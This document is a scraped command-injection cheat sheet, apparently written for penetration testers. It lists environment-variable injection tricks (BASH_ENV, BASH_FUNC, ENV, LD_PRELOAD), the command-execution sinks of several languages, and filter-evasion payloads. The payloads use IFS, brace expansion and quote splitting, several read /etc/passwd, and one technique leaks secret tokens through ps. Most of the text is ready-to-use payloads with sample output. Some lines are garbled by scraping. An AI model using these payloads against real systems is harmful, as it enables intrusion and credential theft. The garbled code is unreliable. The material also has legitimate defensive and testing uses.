Command Injection

Environment variables

BASH_ENV

You can use BASH_ENV with bash to achieve a command injection:
1
$ BASH_ENV='$(id 1>&2)' bash -c 'echo hello'
2
uid=0(root) gid=0(root) groups=0(root)
3
hello
Copied!
References:

BASH_FUNC_*%%

You can use BASH_FUNC_*%% to initialize an anonymous function according to the value of the environment variable and give it a name. The following sample adds myfunc function to the bash context:
1
$ env #x27;BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'
2
uid=0(root) gid=0(root) groups=0(root)
Copied!
Moreover, you can override an existing functions:
1
$ env #x27;BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'
2
uid=0(root) gid=0(root) groups=0(root)
3
hello
Copied!
References:

ENV

When you force the dash to behave interactively, dash will look for ENV environment variable and pass it into read_profile function:
1
if ((shinit = lookupvar("ENV")) != NULL && *shinit != '\0') {
2
read_profile(shinit);
3
}
Copied!
read_profile will print the ENV content:
1
$ ENV='$(id 1>&2)' dash -i -c 'echo hello'
2
uid=0(root) gid=0(root) groups=0(root)
3
hello
Copied!
You can gain the same result with sh:
1
$ ENV='$(id 1>&2)' sh -i -c "echo hello"
2
uid=0(root) gid=0(root) groups=0(root)
3
hello
Copied!
References:

GIT_*

The following GIT_* parameters can be used to abuse a git directory:
Command Injection
cheat-sheets

LD_PRELOAD

LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library libc.so.
In Linux C, functions can be declared with attributes within the function definition. This is done by adding the desired attributes to the function definition. There are two attributes of interest, constructor and destructor. A function with the constructor attribute will run before the program executes main(). For shared objects, this would occur at load time. A function declared with the destructor attribute should run once main() has returned or exit() is called.
LD_PRELOAD can be used to override the standard libc calls, check Abusing LD_PRELOAD for fun and profit​
In other words, you can compile a shared library to be invoked at load time and/or before return:
  1. 1.
    Reuse the following code for compiling a shared library:
https://raw.githubusercontent.com/ProfessionallyEvil/LD_PRELOAD-run-at-load-time/main/src/inject.c
  1. 1.
    Compile the shared library with the next command:
    1
    $ gcc -Wall -O3 -fPIC -shared inject.c -o inject.so
    Copied!
  2. 2.
    Exploit:
1
$ LD_PRELOAD=./inject.so git -v
2
​
3
[+] Inject.so Loaded!
4
[*] PID: 1337
5
[*] Process: /usr/bin/git
6
​
7
Unknown option: -v
8
usage: git [--version] [--help] [-C <path>] [-c name=value]
9
[--exec-path[=<path>]] [--html-path] [--man-path] [--info-path]
10
[-p | --paginate | --no-pager] [--no-replace-objects] [--bare]
11
[--git-dir=<path>] [--work-tree=<path>] [--namespace=<name>]
12
<command> [<args>]
13
​
14
[-] Inject.so is being unloaded!
Copied!
1
$ LD_PRELOAD=./inject.so id
2
​
3
[+] Inject.so Loaded!
4
[*] PID: 1337
5
[*] Process: /usr/bin/id
6
​
7
uid=0(root) gid=0(root) groups=0(root)
Copied!
1
$ LD_PRELOAD=./inject.so bash -c "echo 'hello'"
2
​
3
[+] Inject.so Loaded!
4
[*] PID: 1337
5
[*] Process: /bin/bash
6
​
7
hello
8
​
9
[-] Inject.so is being unloaded!
Copied!
References:

Languages

Go

1
// os/exec Write
2
cmd := exec.Command("bash")
3
cmdWriter, _ := cmd.StdinPipe()
4
cmd.Start()
5
cmdWriter.Write([]byte("os command here\n"))
6
cmd.Wait()
7
​
8
// os/exec CommandContext
9
exec.CommandContext(ctx, "os command here", "arguments here").Run()
10
​
11
// os/exec Cmd
12
cmd := &exec.Cmd {
13
Path: "os command here",
14
Args: []string{ "arguments here" },
15
}
16
cmd.Start();
17
​
18
// os/exec Command
19
cmd := exec.Command(
20
"os command here",
21
"arguments here",
22
)
23
cmd.Run()
24
​
25
// syscall Exec
26
execErr := syscall.Exec(
27
"os command here",
28
"arguments here",
29
os.Environ()
30
)
Copied!

Java

1
// java.lang.Runtime exec
2
Runtime.getRuntime().exec("os command here");
3
java.lang.Runtime.getRuntime().exec("os command here");
4
​
5
// java.lang.Runtime loadLibrary
6
Runtime.getRuntime().loadLibrary("path to library here");
7
java.lang.Runtime.getRuntime().loadLibrary("path to library here");
8
​
9
// java.lang.ProcessBuilder
10
new ProcessBuilder(
11
"os command here",
12
"arguments here"
13
).start();
14
new java.lang.ProcessBuilder(
15
"os command here",
16
"arguments here"
17
).start();
18
​
19
// groovy.lang.GroovyShell
20
// see https://docs.groovy-lang.org/latest/html/api/groovy/lang/GroovyShell.html
21
GroovyShell shell = new GroovyShell();
22
shell.evaluate(...);
23
shell.parse(...);
24
shell.parseClass(...);
25
​
26
// javax.script.ScriptEngine eval
27
new ScriptEngineManager()
28
.getEngineByExtension("js")
29
.eval("js code here");
Copied!

Node.js

1
// child_process, check https://nodejs.org/api/child_process.html
2
​
3
// exec
4
// https://nodejs.org/api/child_process.html#child_processexeccommand-options-callback
5
const { exec } = require('child_process');
6
exec('os command here');
7
​
8
// execSync
9
// https://nodejs.org/api/child_process.html#child_processexecsynccommand-options
10
const { execSync } = require('child_process');
11
execSync('os command here');
12
​
13
// execFile
14
// https://nodejs.org/api/child_process.html#child_processexecfilefile-args-options-callback
15
const { execFile } = require('child_process');
16
execFile('path to executable file', ['args here'], (error, stdout, stderr) => { /* ... */ });
17
​
18
// execFileSync
19
// https://nodejs.org/api/child_process.html#child_processexecfilesyncfile-args-options
20
const { execFileSync } = require('child_process');
21
execFileSync('path to executable fileere'], (error, stdout, stderr) => { /* ... */ });
22
​
23
// spawn
24
// https://nodejs.org/api/child_process.html#child_processspawncommand-args-options
25
const { spawn } = require('child_process');
26
spawn('command to run here', ['args here']);
27
spawn('os command here', { shell: true });
28
​
29
// spawnSync
30
// https://nodejs.org/api/child_process.html#child_processspawnsynccommand-args-options
31
const { spawnSync } = require('child_process');
32
spawnSync('command to run here', ['args here']);
33
spawnSync('os command here', { shell: true });
Copied!

Python

1
# eval
2
eval("python expression here")
3
eval(compile("python expression here", "", "eval"))
4
​
5
# exec
6
exec("python code here")
7
exec(compile("python code here", "", "exec"))
8
​
9
# os.system
10
os.system("os command here")
11
# os.spawnlpe
12
os.spawnlpe(os.P_WAIT, "os command here")
13
# os.popen
14
os.popen("os command here")
15
# os.popen2
16
os.popen("os command here")
17
​
18
# subprocess.call
19
subprocess.call("os commnad here")
20
subprocess.call(["os commnad here", "arguments here"])
21
# subprocess.run
22
subprocess.run("os commnad here", shell=True)
23
subprocess.run(["os commnad here", "arguments here"], shell=True)
24
# subprocess.Popen
25
subprocess.Popen(["os commnad here", "arguments here"])
Copied!

Ruby

1
# exec
2
exec("os command here")
3
exec(["os command here", "arguments here"])
4
​
5
# eval
6
eval("ruby expression here")
7
​
8
# Process.spawn
9
spawn("os command here")
10
Process.spawn("os command here")
11
# Process.exec
12
Process.exec("os command here")
13
Process.exec("os command here", "arguments here")
14
​
15
# system
16
system("os command here")
17
​
18
# backticks
19
`os command here`
20
​
21
# Kernel.open
22
# https://ruby-doc.org//core-2.2.0/Kernel.html#method-i-open
23
open("| os command here")
24
​
25
# Kernel.exec
26
Kernel.exec("os command here")
27
​
28
# open-uri.open
29
# https://sakurity.com/blog/2015/02/28/openuri.html
30
open("| os command here")
31
​
32
# Object.send
33
# https://bishopfox.com/blog/ruby-vulnerabilities-exploits
34
# additionally, check out Object.public_send
35
# https://apidock.com/ruby/Object/public_send
36
1.send("eval","`os command here`")
37
"".send("eval","`os command here`")
38
​
39
# %x command
40
%x os-command-here<SPACE>
41
%x os-command-here ;
42
%x(os-command-here)
43
%x|os-command-here|
44
%x{os-command-here}
45
​
46
# https://docs.ruby-lang.org/en/2.0.0/Open3.html
47
# Open3.popen3
48
Open3.popen3("os command here")
49
Open3.popen3(["os command here", "arguments here"])
50
# Open3.popen2(e)
51
Open3.popen2("os command here")
52
Open3.popen2(["os command here", "arguments here"])
53
Open3.popen2e("os command here")
54
Open3.popen2e(["os command here", "arguments here"])
55
# Open3.capture3
56
Open3.capture3("os command here")
57
# Open3.capture2(e)
58
Open3.capture2("os command here")
59
Open3.capture2e("os command here")
60
# Open3.pipeline(_r/_w/_rw/_start)
61
Open3.pipeline("os command here")
Copied!

Tips

Brace expansion

Brace expansion is a mechanism by which arbitrary strings may be generated. Patterns to be brace expanded take the form of an optional preamble, followed by either a series of comma-separated strings or a sequence expression between a pair of braces, followed by an optional postscript. The preamble is prefixed to each string contained within the braces, and the postscript is then appended to each resulting string, expanding left to right. For instance:
1
$ echo a{d,c,b}e
2
ade ace abe
Copied!
You can use brace expansion to create payloads:
1
$ {cat,/etc/passwd}
Copied!
References:

Command substitution

Command substitution allows the output of a command to replace the command itself. Command substitution occurs when a command is enclosed as follows:
1
$(command)
2
`command`
Copied!
Bash performs the expansion by executing command in a subshell environment and replacing the command substitution with the standard output of the command.
References:

Characters encoding

There are several ways to work with encoded strings:
  1. 1.
    #x27;string' words:
    Words of the form #x27;string' are treated specially. The word expands to string, with backslash-escaped characters replaced as specified by the ANSI C standard.
    1
    $ a=#x27;\x74\x65\x73\x74'; echo $a
    2
    $ a=#x27;\164\145\163\164'; echo $a
    3
    $ a=#x27;\u0074\u0065\u0073\u0074'; echo $a
    4
    $ a=#x27;\U00000074\U00000065\U00000073\U00000074'; echo $a
    Copied!
  2. 2.
    echo command:
    echo provides -e option to interpret of backslash escapes. Note the recognized sequences depend on a version of echo, as well as the -e option may not be present at all.
    1
    echo -e "\x74\x65\x73\x74"
    2
    echo -e "\0164\0145\0163\0164"
    Copied!
  3. 3.
    xxd command:
    1
    $ xxd -r -p <<< 74657374
    2
    $ xxd -r -ps <(echo 74657374)
    Copied!
References:

Leak command line arguments

If you have parameter injection in a cli command that has been passed sensitive parameters, such as tokens or passwords, you can try to leak the passed secret with ps x -w.
1
# you can inject arbitrary parameters to <injection here> part
2
$ command --user username --token SECRET_TOKEN <injection here>
3
# send the vulnerable command to background with &
4
# and catch the parameters with ps x -w
5
$ command --user username --token SECRET_TOKEN & ps x -w
6
​
7
PID TTY STAT TIME COMMAND
8
1337 ? S 0:00 /usr/bin/command --user username --token SECRET_TOKEN
9
1574 ? R 0:00 ps x -w
Copied!
This can be useful if the cli logs hide sensitive settings or sensitive data is not stored in the environment.
This can be useful if the cli logs hide sensitive data or sensitive data is not stored in the environment (for instance, Github Actions provide variable interpolation ${{...}} for injecting secrets, and you can't give access to secrets during execution). Another case is when you have blind injection and can redirect output of ps x -w to a file that you have access to.

List of commands

Combine the execution of multiple commands using the operators ;, &, &&, or ||, and optionally terminated by one of ;, &, or .
1
$ command1; command2
2
$ command1 & command2
3
$ command1 && command2
4
$ command1 || command2 # only if command1 fail
5
$ command1\ncommand2
Copied!
Moreover, you can use pipelines for the same purposes:
1
$ command1 | command2
2
$ command1 |& command2
Copied!
References:

Producing slash with tr

1
$ echo . | tr '!-0' '"-1'
2
$ tr '!-0' '"-1' <<< .
3
$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
Copied!

Redirections

Redirect input and output before a command will be executed using the operators >, >|, >>, <, and etc.
1
$ ls > dirlist 2>&1
2
$ cat</etc/passwd
Copied!
Supply a single string with a newline appended using the operator <<<.
1
$ base64 -d <<< dGVzdA==
Copied!
References:

Shell parameter expansion

The basic form of parameter expansion is ${parameter}; the value of parameter is substituted:
1
$ a="es"; echo "t${a}t"
Copied!
More complex forms of parameter expansions allow you to perform various operations. For instance, you can extract substrings and use them to create payloads:
1
$ echo ${HOME:0:1}
2
$ cat ${HOME:0:1}etc${HOME:0:1}passwd
Copied!
Additionally, match and replace can be useful when working with blacklists:
1
$ a=/eAAA/Atc/paAAA/Asswd; echo ${a//AAA\/A/}
Copied!
References:

Special shell parameters

There are several parameters which the shell treats specially. Some of these parameters you can use to create payloads:
2
# $0 expands to the name of the shell or shell script
3
$ bash -c 'echo id|$0'
Copied!
References:

Shell variables

Bash automatically assigns default values to a number of variables, such as HOME or PATH. Some of these variables can be used to create payloads. For instance, you can use IFS variable as a separator (this is possible since IFS contains a list of characters that separate fields):
1
$ cat$IFS/etc/passwd
2
$ echo${IFS}"test"
Copied!
Moreover, you can override IFS and use any character as a separator:
1
$ IFS=,;`cat<<<uname,-a`
Copied!
References:

Tricks

1
# using single quotes in command names
2
$ w'h'o'am'i
3
# using double quotes in command names
4
$ w"h"o"am"i
5
# using backslashes and slahes in command names
6
$ w\ho\am\i
7
$ /\b\i\n/////s\h
Copied!

References